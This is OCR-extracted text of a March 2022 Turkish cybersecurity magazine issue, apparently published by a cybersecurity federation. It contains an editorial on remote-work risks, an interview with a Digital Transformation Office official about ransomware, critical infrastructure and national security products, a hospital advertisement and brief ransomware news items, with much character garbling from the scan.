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Modeli Sonrasi

=,
-
Uzalktan calisma modeli bazi kurum ve calisanlar icin
yeni bir model olmamakla birlikte, hepimizin hayatina
zorunlu olarak giren bir caisma modeli olmustur.
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Baskanin Mesaji

Siber Guvenlik Federasyonu, kisa adiyla SGF; bagimsiz bir sivil toplum kurulusudur. Tlrkiye'nin menfaatleriyle, tlke insanlarinin refahi ve devletin
glclu sekilde varligini devam ettirmesiyle ilgili olabilecek tiim alanlarda; teknolojinin kullanildigl, bilimsel fikirler ve projeler tretir. SGF caligmalarini
Oneri buttnleri ve raporlar vasitasiyla kamuoyuyla ve/veya ilgili kurum, kuruluslarla paylasir.

SGF'nin ilgi alani teknolojinin kullanilabilecegi tim alanlari kapsar. Calisma konu ve basliklarini belirlerken temel aldigi kriter; Uretilecek distincenin,
fikrin, dnerinin veya projenin milli menfaatler ve kamu dizeni agisinda pozitif bir deger yaratmasidir.

Bu anlamda, SGF icin Tirkiye'nin menfaatleri temel mihenk tasidir. Siber gtivenlik gibi teknoloji temelli calisma alanlarindan, toplumbilim gibi sosyal
alanlara kadar teknolojinin kullanilarak fark yaratilabilecegi tim sahalar ve disiplinler SGF icin odaklanma konusu ve faaliyet alanidir.

Bilgi ve bilgi cercevesinde Uretilen degerler, tlkelerin diinyadaki ekonomik ve siyasi rekabet ortaminda etkin sekilde rol oynamaktadirlar. Teknolojinin
her alanda fark yaratan yenilik¢i dogasinin bir uzantisi olarak, bu yénelim ivmelenerek devam etmektedir. Teknolojinin kilit rol aldigi ve milli menfaatlerimize
hizmet edecek tim proje, ¢dzim, fikir ve bilgiler; konvansiyonel siyasi etki, ekonomik ve askeri gli¢c kadar &nem kazanmaktadir.

SGF ¢alismalarini bilimsel makalelerle ve raporlarla sektérlerin, kamu otoritelerinin, tniversitelerin ve ilgili tim kesimlerin bilgisine sunar. Ortaya
koyacagi sonuclari bir cerceve haline getirir. Bu ¢erceve bazen mevcut meselelere ¢6ziim 6nerisi niteligi tasiyacagi gibi, bazen basarili mekanizmalari

iyilestirme gorevi Ustlenebilir. Bazen de bir gelecek projeksiyonu vizyonuyla, Tiirkiye'nin orta ve uzun vadede karsilasabilecegi sorun ve gelismelere
karsi durus almasini 6neren proaktif yaklagimlar icerir.

Batuhan Tosun

Siber Guvenlik Federasyonu Bagkani
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Hibrit Ameliyathane

Turkiye'de sayil hastanede bulunan hibrit Referans Merkezlerimiz

ameliyathanelzrden biri de Medicine Hospital'da
yer almaktadir. Hibrit ameliyathane ile ameliyathane

v Obezite ve Metabolik Cerrahi v Cocuk Saghgi

ortaminda tum anjiyografik gdrintilemeler ve v Kalp Saghg: Merkezi v' Agiz ve Dis Saghag
islemler yapilabilmektedir. v Ortopedi ve Travmatoloji v Fizik Tedavi ve Rehabilitasyon
v Noroloji ve Hareket Bozuklugu v/ Check-Up
Zen Odasi ) -
v GozSaghd v’ Cinsel Islev Bozukluklari
Medicine Hospital olarak tim sadlk hizmetlerimizde  Girisimsel Radyoloji v’ Proktoloji

en son teknoloji ile gincel kalmayl amag edinmekteyiz. + Radyolojik Teshis ve Tan|
ASIR teknolojisi sayesinde BT organlarinizin ayni

yUksek kalitede gorintilerini alirken radyoaktif

¢ézeltinin dislk dozda verilmesini saglayabiliyoruz.

"Saglik sektorindeki tecribemizi, saglik egitimiile birlestirme arzumuzu,
Istanbul Atlas Universitesi'ni kurarak gerceklestirmenin hakli gururunu yasiyoruz.”

Yonetim Kurulu Baskani
Dr.Yusuf ELGORMUS

= T ¥ B Cagri Merkezi

medicinehospital.com.tr (. 444 0 205
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Uzaktan Calisma Modeli Sonrasi

Temel Riskler

Uzaktan calisma modeli bazi kurum
ve calisanlar icin yeni bir model
olmamakla birlikte, hepimizin hayatina
zorunlu olarak giren bir calisma modeli
olmustur. Ozellikle tim diinyayi sarsan
Covid-19 ile birlikte pek ¢ok kurum ve
calisan uzaktan calisma modeli ya da
hibrit bir calisma modeli ile karsi
karsiya kalmistir. Bu model ile birlikte
siber guvenlik diinyasi da yeni bir
dizenlemeye ve bu model karsisinda
cesitli onlemler almis bulunmaktadir.

Tehdit aktorleri gegmiste de oldugu
gibi glinimuizde de cesitli temalardan
beslenmekte ve bu temalari
saldinlarinin zeminini olusturmak icin
kullanmaktadir. Covid19 salgininin
baslarinda bu tema ile olusturulmus
pek ¢ok siber tehdit ile karsi karsiya
kaldik, peki normallesme déneminde
bu saldirilar nasil yén bulacak ve zemin
kazanacaktir? Tehdit aktorleri cesitli
amaglar dogrultusunda normallesme
doénemini de firsata cevirecektir. Ofis
ortaminda calisma modeline dénen
ve hibrit ¢calisma modelinde devam
eden kurum ve calisanlar yepyeni
riskler ile karsi karsiya kalacaktir.
Uzaktan calismaya alisan pek ¢cok
kurum caligani, bilgi givenligi
farkindaligini ve uyumunu tekrar
gbzden gecirmesi gerekecektir. Bu
konu tzerinde dnlemlerin alinmasi
ve calisanlarin bilgilendirilmesi
noktasinda kurumlara ve
organizasyonlara buyuk bir sorumluluk
dusmektedir. Bilgi glivenligi politikalarin
tekrar gézden gecirilmesi, uzaktan
calisma modelinde agirlik verilen ug
nokta glvenligi yatirimlarinin tekrar
g6zden gecirilerek ofis ortaminda
calisma modelinde yapilan yatirim
ve Onlemlere tekrar geri ddnmesi ya
da agiriginin paylastiriimasi gerekecektir.

Kurum ici ya da uzaktan calisma
modeli Gzerinde alinan dnlemler ve
yatirimlar, cesitli tatbikat ve testler
ile olcilmelidir. Alinan onlemler
karsisinda risklerin ne kadar azaldigl
ya da azalip azalmadigl noktasinda
ciddi oélglimlemeler yapilmalidir.
Temel siber glvenlik yatirimlari
yapan kurum ve organizasyonlar,
daha kor nokta riskler icin alternatif
ve tamamlayici glivenlik dnlemlerine
yonelmelidir. Glvenlik énlemleri icin
alinan énlemlerinin gizli kalmasi pek
cok kurumun tercih ettigi ve olmasi
gereken bir stratejidir. Fakat pek cok
bilgi teknolojisi yonetici ve giivenlik
yOneticisinin merak ettigi ortak soru,
kurumum diger kurumlara gore hangi
seviyede sorusudur. Bu soruya yanit
bulabilmek icin ortak bilgi ve strateji
platformlarinin artmasi gerekmektedir.
Halihazirda var olan platformlara ilgi
ve paylasiminin artmasi da gerekmekte-
dir. Ozellikle siber giivenlik alaninda
federasyon ve kiimelenmelerdeki
calismalarin s6zde degil, gergekte
amaca uygun ve yararli olmasi
gerekmektedir. Gerek ulke genelinde
gerekse uluslararasi platformlarda bu
calismalarin paylasiimasi da buyuk
bir 6nem tasimaktadir.

Siber guvenligin ciddiye alinmaya
baslandigi ve buna ragmen tam olarak
kavranamadigl tlkemizde bir siber
glvenlik profesyoneli olarak rekabet
ortamini bir kenara birakip, gercek
anlamda etik cerceveler icerisinde
paylasimda ve 6zveride bulunmamiz
gerektigini distinmekteyim.

lyi okumalar,
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-> Roportaj

Dijital Donilisiim Ofisi olarak gerceklestirdigimiz ve
hedefledigimiz bircok faaliyet ile Tiirkiye'nin siber
guivenlik seviyesini daha da ylikseltmeyi hedefliyoruz.

Siber guvenlikte son dénemlerde bircok guzel gelisme
ile birlikte hizli bir ylkselme egrisi icindeyiz. Uluslararasi
Telekomuinikasyon Birligi (ITU) Global Siber Guvenlik
Endeksi'nin (GCI) 29 Haziran 2021 tarihinde yayimlanan
raporuna gore; Turkiye bir dnceki déneme gore 9
sira yukselerek 194 Ulke icinde 11. siraya, Avrupa'da
Ise 6. siraya yerlesmistir.

\ "+, TURKIYE CUMHURIYETIi CUMHURBASKANLIG
%K

DiJITAL DONUSUM OFisi
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Siber Guvenligin Ulusal Guvenlige ve Dijital

DAnusimunin Onemine Yonelik Sorular

L Dr. Ali Taha Kog

1. Covid19 Pandemisinde uzaktan calisma modeli pek cok
kurumun hayatina hizli bir sekilde girmis bulunmaktadir.
Bu durumun dijital dénigiime katkisi oldu mu? Nasil
degerlendiriyorsunuz?

GCok uluslu kurumlar diinyanin farkli dlkelerinde yasayan
cahisanlarini sanal ortamda 7/24 bir araya getirebilmek igin
internet Uzerinden uzaktan calisma teknolojileri kullanmaya
Pandemi dncesinden baglamisti. Pandeminin dijital ddnlsime
sagladigl katki, eskiden cok uluslu kurumlarin tekelinde
kullanilan teknolojileri, bireye 6zgii ve onlarin kisisel ihtiyaclarina
hitap eder hale getiren déntsimi hizlandirmig olmasidir.
Ticaret, market alisverisi, 0deme, bankacilik, abonelik baslatma
ve kapatma gibi bircok giinlik ihtiyag genis kesimler tarafindan
dijital ortamda yaplilir hale gelmistir. Uzaktan calisma modeli
kurumlara ve bireylere zamanin etkin kullanimi ve maliyetlerde
azalma gibi ek getirileri de tecribe etme imkani saglamistir.
llerleyen donemlerde, bu faydalari deneyimleyen kurumlarin
ve bireylerin bu teknolojileri kullanmaya devam etmesi ve
dijital dontsimin hizlanmasi beklenmektedir.

COVID-19 pandemi stirecinde temel ihtiyacimizi, sosyal ve is
yasaminin normal rutininde devam etmesini saglamak olarak
Ozetleyebiliriz. Bu ihtiyaclar esitli dijital platformlar ile ekonomik
ve kolay bir sekilde saglanabilmektedir. insanlar bu stirecte ilk
olarak normal rutinini koruyabilmek icin alternatif ¢6ziim
arayisina girdi, sonrasinda iyi drnekleri gérerek uyum saglamaya
cahsti. Uyum saglayabilenler dijital ortamlari kullanarak daha
cok deger olusturabilecegini de fark etti. Dijital ortamlarda
sanal fuarlar, konferanslar ve etkinlikler giinliik hayatimiza
girdi. Gitmeden de market aligverisi yapabilecegimizi, seyahat
etmeden de toplanti yapabilecegimizi, yakinlarimizla dijital
ortamlari kullanarak da bayramlasilabilecegini fark ettik.

Toplumdaki bu doénlisim kamu kurumlarinin  sundugu
hizmetlere de yansimaya basladi. Kurumlar bir hizmeti
sunarken 6ncelikle dijital hizmet (Digital by Default)
anlayisini igsellestirmeye basladi, dijital olmayan hizmetlerini
dijitallestirebilmenin yollarini arar oldu. Vatandas kurumlara
giderek hizmet almak yerine dijital hizmetleri tercih etmeye
basladi. Bu gibi degisimler kusaklar arasi dijital okuryazarlk
farkini da bir 6lclide giderilmesine yardimci oldu. Sonucta
5-10 yilda ulasiimasi beklenen dijitallesme sirecindeki agamalar
daha kisa siirede tamamlandi. Bundan sonraki dénemde
dijital donlisimiin daha da hizlanacagina ve dijital toplum
kalttrtnln her alana yayilacagina inaniyorum.

2. Tehdit aktorlerinin glindemlerinin, ¢ok hizli bir sekilde
degismekte oldugu biliniyor. Covid19 doneminde kullanilan
temalar buna 6rnek verilebilir. Ulusal siber glivenligin bu hizl
degisime ayak uydurabildigini dusiinliyor musunuz?

Salginin da etkisiyle 2020 yili siber gtvenlik icin oldukga
hareketli bir yil oldu. Turkiye, siber saldirilara en ¢ok maruz
kalan ulkelerden biri konumunda. Tirkiye'yi hedef alan ve
engellenen siber saldirilarin sayisinin 2020 yilininilk 10 ayinda
102 bini astigini goriyoruz. En ¢ok saldiri alan sektorlerin
basinda elektronik haberlesme, kritik kamu kurumlari, bilisim,
sanayi, enerji ve egitim geliyor.

Ulkemize yénelik siber saldirilarin politik nedenler de dahil
olmak Uzere bircok nedeni var. Saldirilarin amaclari ve
gerceklestiren kisi veya gruplar da degismektedir. Burada
onemli olan, elbette ki kaynagl veya kimin tarafindan
gerceklestirildigi fark etmeksizin her turld siber saldiriya karsi
hazirlikl olmak. Dijital Déntisim Ofisi olarak ulusal siber
glvenlik icin koordinasyonu saglarken surekli degisen saldiri
ylizeylerini ve tehdit aktorlerini g6z dntinde bulunduruyoruz.
Gerektiginde elde edilen veya Uretilen siber tehdit istihbarati
bilgilerini ulusal siber giivenligin saglanmasi noktasinda aktif
olarak kullaniyoruz. Bu baglamda degerlendirildiginde ulusal
siber guvenlik alanindaki calismalarin duragan bir yap! yerine
dinamik bir yapiya sahip oldugunu ve gerek tehdit aktorleri
acisindan gerekse de yeni saldin vektorleri acisindan
degisime ayak uydurdugunu soyleyebiliriz.
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3. Yeni bir saldin tiirli olmayan fidye saldirilarinin etkisini hala
stirdiirmekte oldugu goriiliiyor. Pandemi doneminde de pek cok
kurum bu durumdan etkilenmig bulunmaktadir. Bu konu ile ilgili
yiritiilen giivenlik caligmalan hakkinda ne disiiniiyorsunuz?

Yayimlanan raporlara gére 2020 yilinda ABD'deki kuruluglarin
%68'inin fidye yazilimi saldirisina ugradigi bildiriliyor. Bu oran
kuresel siber guvenlik endeksinde 1. sirada yer alan ve guvenlige
buyUk yatinmlar yapan bir tlke icin oldukca ylksek. Fidye yazilimi
saldirisina en yakin 6rneklerden birisi 29 Nisan 2021 tarihinde
ABD'deki en buyik yakit boru hatti Colonial Pipeline'na yapilan
saldiridir. Bu saldiridan kurtulmak icin firma 4.4 milyon dolar fidye
6demek zorunda kaldi. Saldiri Glke capinda bir krize neden oldu.
Diinyada da fidye yazilimlarinin kritik altyapilar icin ne kadar biytk
bir tehdit oldugunu tekrar gosterdi. Yine benzer bir durumu
yasayan Danimarka merkezli bir sirket olan ISS World, 2020
yilinin Subat ayinda bir fidye yazilimi saldirisi nedeniyle ¢oktu.
Binlerce calisan, sistemlerine ve e-postalarina erisemedi. Bu
durum karsisinda sirket 74 milyon dolar zarar etti.

Turkiye'de Kamu kurum ve kuruluglari ile kritik altyap! isletmecil-
erinin verilerinin giivenligini saglamak icin yayinladigimiz Bilgi ve
lletisim Guvenligi Rehberinde bu tir saldirilart &nlenmesine
yonelik tedbirlere de yer verdik. Kamu kurum ve kuruluslari ile
kritik altyapi isletmecilerinin bu tedbirleri uygulamalarini takip
etmek icin calismalara basladik. iIgiIi bakanliklar ile diizenleyici ve
denetleyici kurumlarimiz da kritik altyapilarin giivenligini artirmak
icin gerekli diizenlemeleri yapmakta ve takip etmektedir.

4. Veri ifga ve sizintilarinin da artigl giinimiizde yuriitilen siber
glvenlik caligmalari hakkinda ne distintiyorsunuz?

Dijitallesmenin buyik bir hizla arti§l giinimiizde dijital ortamda
islenen veri boyutu da ayni dogrultuda artmaktadir. Verinin
yonetilmesi, islenen veriden beklenilen faydanin elde edilmesi ve
bunlar yaparken de bu verilerin guvenliginin saglanmasi ciddi ve
profesyonel bir efor gerektirmektedir. Bu duruma sdyle bir 6rnek
verebiliriz: Bir evi mi korumak daha kolaydir bir siteyi mi? Tabi ki siteyi
korumak igin daha kapsamli glvenlik énlemleri almak gerekir. Hal
boyle olunca veri tlrlerine ve bulunduklari yere gore saldir yiizeyi de
artmaktadir.

Siber saldirilar bir¢ok alanda buyik bir ivme kazanmigtir. Saldirgan-
larin en ¢ok hedef aldigi alanlar finans, kamu ve saglik alanlaridir.
Bunlar kritik verilerin yogunlukta oldugu alanlardir. Bu yapilan
saldinlar mahremiyet ihlallerine, 6zel hayatimizin ifsa olmasina neden
olabilir. Siber saldinlar sonucunda platformdaki varliklarin calinmasi
ve kisisel verilerin ifsa olmasi gibi risklerin farkinda olunup ona gére
hareket edilmelidir.

Ayrica, hep belirttigimiz gibi siber glvenlik zincirinin en zayif halkasi
insandir. Diger halkalar ne kadar gelismis ve giiclii olursa olsun en
zayif halkayr giclendirmeden siber glvenlik alaninda hedeflenen
neticeleri almak gliclesiyor. Bu halkayi gliclendirmenin yolu da giiven-
lik bilincine sahip olmaktan gegiyor. Teknolojik risklerle miicadelenin
yaninda, guvenligin insan boyutuna yonelik egitim ve farkindalik
faaliyetlerine siirekli devam etmek gerekiyor.

5. Kritik altyapr guvenligi distintldigiinde, dijital dontustimiin
etkisini nasil degerlendirmektesiniz?

Bildiginiz Uzere, kritik altyapilar bir tilkenin toplumsal ve ekonomik
refahini dogrudan etkileyen ve son derece yiiksek dneme sahip
bilisim sistemlerini barindiran altyapilardir. Her Glke kendisi icin
kritik olan altyapilari belirlemekte ve bunlari korumak icin uygun
faaliyetler planlamaktadir. Biz de Tirkiye olarak elektronik haber-
lesme, enerji, finans, ulastirma, su yonetimi ve kritik kamu
sektorlerini kritik altyapi sektorleri olarak belirledik. Bu kritik
altyapi sektorleri icerdikleri bilgi ve sunduklar hizmet acisindan
ylksek siber giivenlik gereksinimlerine sahiptir.

Otomasyon sistemlerinin kullanilmasi, gelismis iletisim altyapilarinin
kurulmasi, otomatik sorun tespiti ve Onlenmesi gibi pek cok
ihtiyag, kritik altyapilarimizda dijital déniisimiin olmazsa olmazlari
arasindadir. Her ne kadar kritik altyapilarimizin dijital donisimi
avantajlar saglasa da, beraberinde siber givenlik risklerini de
getirmektedir. Ozellikle kritik altyapilarda yaygin olarak kullanilan
operasyonel sistemlerin (OT) bilisim sistemleri ile entegrasyonu
farkli saldir vektorlerinin olugsmasina ve saldiri yiizeyinin artmasina
yol agmaktadir. Ancak bu tehditler akilli, genisletilebilir yeni nesil
siber savunma yontemleri ile ortadan kaldirilabilmektedir. Yapay
zeka, bulylk veri gibi farkli teknolojileri blinyesinde barindiran
siber guivenlik sistemlerinin kullanimi kritik altyapilarimizin giivenligi
noktasinda buyik él¢lide yardimci olmaktadir.

Dijital Dénlsum Ofisi olarak” gectigimiz yil yayimladigimiz Bilgi ve
lletisim Guvenligi Rehberi'nde de kritik altyapilarimiza yonelik
siber glvenlik tedbirleri icin ayri bir bolim bulunmaktadir. Bu
bolimde kritik altyapilar 6zelinde siber givenligin saglanmasina
yonelik tedbirler yer almaktadir. Rehberin uygulanmast ile beraber
dijital donlisimiin beraberinde getirdigi siber glivenlik risklerinin
de minimuma indirilebilecegi ve yonetilebilecegini distuniyoruz.

6. Kripto paralar pek cok kisinin giindeminde oldugu gibi tehdit
aktorlerinin de glindeminde, dolandiricilik ve kripto para temali
siber saldirilar hakkinda ne disiiniiyorsunuz, bu konu ile ilgili
yiriitilen bir caligma var midir?

Kripto paraya olan ilgi her gegen giin artiyor ve kripto para kullanimi
glin gectikce yayginlasiyor. Bu durum tehdit aktorlerinin de
glindeminde oldugundan dolayi ne yazik ki kripto para temali siber
saldinilar ve dolandiricilik artmis durumda. Bunlari 6nleyebilmek ve
etkilerini en aza indirebilmek adina bilinci artirmak ¢cok énemli. Biz de
Dijital Dontstim Ofisi olarak kripto varligl bulunan vatandaslarimizi
bilgilendirmek amaciyla bir video yayinladik. Zira yapilan calismalara
gore tlkemiz, niifusuna oranla en ¢ok kripto para kullanan tlkeler
arasinda Avrupa’da birinci, diinyada 4. Sirada. Yayinladigimiz videoda
da belirttigimiz gibi bilincli kullanim biiyiik énem tagiyor. Ozellikle
dogru platform tercihi ¢ok dnemli. Platform tercihi yaparken kripto
varlik borsa skoru yiiksek olan platformlar tercih edilmeli. Hukuki
tarafina gelirsek, kripto paralara yatirnm yapmadan énce gelistirilme
amacini, arkasindaki teknolojileri ve surdurilebilirliginin - nasil
saglanacagl gibi bilgileri iceren “White Paper” yani izahatname
incelenmeli ve yatiim buna gére yapilmali. Fakat her ne kadar bu
dnlemler alinsa da ne yazik ki bazi riskler devam etmekte. Ornegin
siber saldirlar sonucunda platformdaki varliklarin calinmasi ve kisisel
verilerin ifsa olmasi gibi risklerin farkinda olunup ona goére hareket
edilmeli. Dijital Dontstm Ofisi olarak halkimizi bilinglendirmek adina
galismalarimiz devam edecek.

Ulkemizde kripto paralar ile ilgili resmi diizenlemelere de baglanmig
durumda. 16 Nisan 2021 tarihinde Resmi Gazete'de yayimlanan
yonetmelik ile kripto varlik kavrami tanimlandi ve kullanim esaslari
belirlendi. Vatandaslarimizi koruma amacli yayimlanan bu yonetmelikte
belirtilen usul ve esaslar sayesinde kripto paralarin 6deme maksatli
kullanimi engellenerek spekilatif hareketler nedeniyle olusabilecek
magduriyetlerin 6nline gecilmis oldu.

Mart 2022 / 07



7. Yerli/milli siber giivenlik drinlerinin geligtiriimesi ve
kullaniminin yayginlastiriimasi misyonlari dogrultusunda Dijital
Doniigiim Ofisinin ne gibi caligmalari mevcuttur?

Kritik altyapilar basta olmak lzere her alanda, yerli ve milli siber
guvenlik  Urlnlerinin  gelistiriimesine  ve bu  ¢6zimlerin
kullaniminin  kamuda yayginlastiriimasina yonelik calismalar
yapmak Ofisi'mizin temel ve 6énemli gorevlerindendir. Kamunun
dijital donusim lideri pozisyonumuz ile de yerli ve milli siber
guvenlik Granlerinin olgunlastiriimasi, yayginlastiriimasi ve stand-
artlastirimasi calismalarinda aktif olarak faaliyet gosteriyoruz.

Devlet ve millet olarak gegirdigimiz zor dénemlerde gordik ki
ozellikle bilisim sistemlerinde disa bagimli oldugumuz oranda
sikinti ¢ekiyoruz. Bu durumlari yasamamak adina yerli ve milli Grlin
gelistirmelerine cok 6nem vermekteyiz. Yerli siber gtivenlik Griin
ve hizmetlerinin kullanimi, her alanda 6nemlidir ve katkilari giin
gectikce artacaktir.

Yerli Grlin taniminda hammadde, insan glict gibi kriterler isin icine
giriyor. Her yerli Griin milli degerlere sahip olamayacagi gibi her
milli Griin de yerli olmayabilir. Ulkemiz menfaatimiz ve bagimsi-
zhgimiz bu konuda en 6nemli degisken durumunda. Siber gtiven-
likte yerli ve milli ¢dziimler gelistirmek olmazsa olmazlarimizdan-
dir. Hatta bu alanda citay! bir kademe daha yiikseltip Global ve
Milli ¢ozimler hedefliyoruz.

Bilgi, teknoloji ve insan olarak kendi 6z kaynaklarimizla uretilen,
desteklenen ve 6zellikle olasi bir tehdit ve saldiri aninda yabanci
unsurlar tarafindan kontrol edilemeyen ve kiresel rakipleri ile
rekabet edebilme yeterliligine sahip yazilm veya donanim
rtinlerini hedefliyoruz.

Bu hedeflerimize tek basimiza ulasamayiz. Ureticisi, tlketicisi,
dizenleyicileri, kanun koyuculari, AR-GE aktorleri, sivil toplum ve
akademi ile burada elini tasin altina koymasi gereken bir ekosistem
var. Turkiye Siber Guvenlik Kiimelenmesi burada ekosistemi dinamik
ve canli tutan esas aktorlerden biri konumunda. 2021 Subat'ta
Savunma Sanayi Baskanligimiz ile imzaladigimiz protokol ile
Turkiye Siber Guvenlik Kimelenmesinin tim faaliyetlerini SSB ile
birlikte yUritmeye basladik. Kamuda ve 6zel sektorde yerli ve milli
siber givenlik Grlnlerinin kullanimini artirmak icin firmalarimiz ve
kurumlarimiz ile daha yakin caligiyoruz artik.

Suan hali hazirda, Siber Glvenlik Kimelenmesinde 190'In lzerinde
firma ve 400'Un Gzerinde yerli ve milli siber gtivenlik Griini ve hizmeti
bulunmaktadir. Kullanilan Griin ve hizmetleri, yerli ve milli treticile-
rden tedarik etmek, hem kisa vadede ekonomik anlamda etkisini
gosterecektir, hem de uzun vadede diinya genelinde markalasmis
yerli ve milli Grin sayisini arttiracaktir. Siber givenlik alaninda
glclendikce, daha da iyi Urlnler gelistirecek ve hizmetler
verecegiz, daha iyi Urlnler ve hizmetler saglayabildikce siber
glvenlik alaninda daha da gu¢lenecegiz.

8. Dijital Dontigtim Ofisinin Siber guivenlik icin planladigi yeni
projeler var midir?

Dijital Dontisiim Ofisi ulusal siber savunma ve siber caydiriciligl
glclendirmek, siber guvenlik kapasitesini gelistirmek amaci ile
bircok proje yurutmektedir. Dijital Dontstim Ofisi olarak gelisen
teknolojilerin ortaya cikardigi siber gtivenlik risklerinin yaninda, bu
teknolojilerin  savunma amaciyla kullaniimasinin olusturacagi
firsatlarin da goz ardi edilmemesi gerektigini diistintyor ve pozitif
siber guvenlik yaklagimi ile hareket ediyoruz.

Tum kurumlarinin birbirleri ile isbirligi ve koordineli bir sekilde
calistigl, giglu kritik altyapilara sahip, siber savunma ve saldiri
mekanizmalari ile siber saldirilara her zaman hazir, siber uzaydaki
ulusal ve uluslararasi tehditlerden haberdar, kendi teknolojisini
reten ve kullanan, insan giict yetistirebilen, farkindalig ytksek
bir devlet olma yolunda cesitli calismalar yuritiyoruz. Tim bu
saydigimiz alanlarda politika, koordinasyon ve strateji gelistirmekte,
aksiyonlari yakindan takip etmekte ve Ulke capinda etkin sekilde
uygulamasina yonelik calismalar yurutmekteyiz.

Ozellikle kritik alt yapilarimizin siber glvenlik alanindaki mukave-
metini arttirmak amaciyla; uluslararasi alanda kabul gérmus
sektor spesifik standartlar Glkemize adapte etme ve yayginlastirma
konulari ile ulusal siber glvenlik Grlin kriterlerinin belirlenmesi
konularinda calismalar gergeklestiriyoruz.

Siber guvenlik alaninda Ulke olarak hayata gegirilecek bir cati
mevzuat calismasi ile hizli, efektif ve etkin organizasyon yapisi
olusturularak isbirligi ve koordinasyonun artmasi, mukerrer
calismalarin 6ntine gecilerek ortak tehdide karsi odaklanma,
katim ve sahiplenmenin gelismesi gibi kazanimlar ile topyekin
bir savunma anlayisi hayata gegirilmis olacaktir. Bu husus, Dijital
Dénusum Ofisi olarak (izerinde hassasiyetle durdugumuz ve
dunya orneklerini de inceleyerek tizerinde caligsmakta oldugumuz
bir ihtiyactir.

Uluslararasi siber tatbikatlar, ulusal siber givenlik yarigmalari ve
egitimlerle ulusal kapasitemizi artiracak yeni caligmalar planla-
maktayiz. Bu yil Teknofest kapsaminda Hackistanbul adi altinda
uluslararasi bir yarisma duzenliyoruz. Bu sene dikkati farkl bir
yone cekmek, sektdre ve kurumlarimiza oncilik etmek amaciyla
farkh bir kurgu dustinliyoruz. Final asamasinda yarigmacilarimiz,
daha 6nceki yarigmalarda yasamadiklari farkl bir tecriibeye sahip
olacaklar. Hacklstanbul yarismamizin final agsamasini bug bounty
seklinde kurguluyoruz. Ulkemizde bug bounty programlarinin
olusturulmasi ve bug bounty kiltiiriiniin kazanilmasi adina bunun
onemli bir adim olacagini degerlendiriyoruz. Finalist takimlarimiz
2 gin boyunca yerli ve milli Grlinlerimizden bazilarinda zafiyet
bulmaya calisacak ve bodylece hem vyerli ve milli Grinlerimiz
gelisirken hem de katilimcilara bug bounty deneyimi kazandirila-
cak. Bu yarisma ile tim genclerimizi siber glvenlik alaninda
kendilerini gelistirmeye ve yeteneklerini sergilemeye davet
ediyoruz. Gectigimiz yillarda oldugu gibi bu sene de Hacklstanbul
yarigmasinin  buylk bir cosku ve heyecan igerisinde
gerceklesecegini dustintyoruz.

Biittin bunlarin yaninda Bilgi ve iletisim Gvenligi rehberinde yer
alan tedbirlerin etkin olarak uygulanabilmesi ve izlenebilmesi icin
denetim rehberi hazirlanmasi stirecinin sonuna gelmis durumdayiz.
Bu denetim rehberini kisa slirede yayimlayarak kurumlarimizin ve
kritik altyapi isletmecilerinin bilgi glvenligi konusunda yetkin-
liklerini daha da artirmalarina yardimci olmaya caligiyoruz.

Siber guvenlikte son dénemlerde bircok guizel gelisme ile birlikte
hizli bir yukselme egrisi icindeyiz. Uluslararasi Telekomunikasyon
Birligi (ITU) Global Siber Guvenlik Endeksi’'nin (GCl) 29 Haziran
2021 tarihinde yayimlanan raporuna gore; Tirkiye bir dnceki
doéneme gore 9 sira yikselerek 194 dlke icinde 11. siraya,
Avrupa'da ise 6. siraya yerlesmistir. Dijital Dénlisim Ofisi olarak
gerceklestirdigimiz ve hedefledigimiz bircok faaliyet ile Trkiye'nin
siber guvenlik seviyesini daha da yikseltmeyi hedefliyoruz.
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Rus hacker’lar fidye
yazilimlanyla Turk sirketleri

calisamaz hale getiriyor

Siber saldirilarin énemli bir ¢ogunlugunu olusturan
fidye yazilimlari, son dénemde Turk sirketlerin buyk
maddi kayiplar yasamasina neden oluyor. Son dénem-
deki saldirilarda Rus hacker gruplarinin biytk rol
oynadigl tespit edildigini belirten uzmanlar, tim
dosyalar sifrelenerek calisamaz hale getirilen Tarki-
ye'deki sirketlerden sifreyi ¢ozmek icin 200 bin TL
degerinde kripto para talep edildigini soyleyerek
sirketleri uyard.

Turkiye'deki sirketlere yonelik fidye yazilimi saldirilari
son dénemlerde artarak devam ediyor. Bu saldirilarin
blyuk bir c¢ogunlugunun Rusya merkezli hacker
gruplar tarafindan yapildigini tespit ettiklerini belirten
siber guvenlik kurulusu Laykon Bilisim Operasyon
Direktoru Alev Akkoyunlu, fidye yazilimi gibi saldirilarla
Turk sirketlerin tim dosyalarinin sifrelenerek calisamaz
hale getirildigini ve sifreyi ¢cozmek icin 200 bin Tirk
Lirasi degerinde kripto para talep edildigini soyleyerek
sirketleri uyard.

Yapilan son arastirmalara gore fidye yazilimi saldirilari
bir dnceki yila gore yizde 485 oraninda artti. Hackerler-
in, saldirilarini oltalama e-postalari ile baslattiklarini
belirten Alev Akkoyunlu, sirketten sadece bir calisanin
bu e-postadaki linke tiklamasiyla fidye yaziliminin,
agdaki tim cihazlara bulasabildigine dikkat cekti.

Microsoft Rusya merkezli hacker
guruplarina kargi mucadele veriyor

Kuresel capta siber saldirilar ne yazik ki durmak nedir bilmiyor.
Ozellikle pandemi siireci ile birlikte bu saldirilarin artik cok ileri
asamalara ulastigini sdyleyebiliriz. ABD merkezli sirket ve markalara
daha fazla saldiri geliyor. Microsoft ise bu saldirilar ile ilgili dGnemli
bir aciklama yapti.

Yapilan bu aciklamada kendi mudsterilerinden bir boliminin
e-posta saldirilarini ugradigini sdyledi. Microsoft Defender antivirlis
yazilimi her ne kadar bu tlr saldirilari azaltsa bile yine de yok
edemiyor. Sirket fazlasiyla kaygih oldugunu itiraf etti.

Microsoft ic Giivenlik Departmanindaki Siber Giivenlik ve Altyapi
Guvenligi Ajansi buylk onlemler alindigini séyledi. Ancak tim
bunlara ragmen &zellikle sivil toplum kuruluslarina ve buyiik markalara
saldirdiklar bir gercek. Bilgisayar korsanlari biyik lokma tercih
ediyor.

Genellikle yapilan saldirilar e-posta Uzerinden gerceklesiyor.
Yaklasik olarak 150'den fazla kurulusa 3000 kot niyetli yazilima
sahip e-posta gonderildi. Bu tir saldirilar ise ¢ogu zaman
yetkilendirme kazanmak icin yapihyor. Sunucularda yetki kazanan
bilgisayar korsanlari tim verileri yeniden sifreliyor.

Donald Trump doneminde artis gostermeye baslayan siber
saldirilar buginlerde bircok markayr daha tehdit etmeye devam
edecek gibi goriniyor. Microsoft 6zellikle Windows kullanicilarindan
zararli e-postalara karsi dikkatli olmalarini énerdi.
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Tarkiye siber guvenlik
urunlerini vitrine ¢ikardi

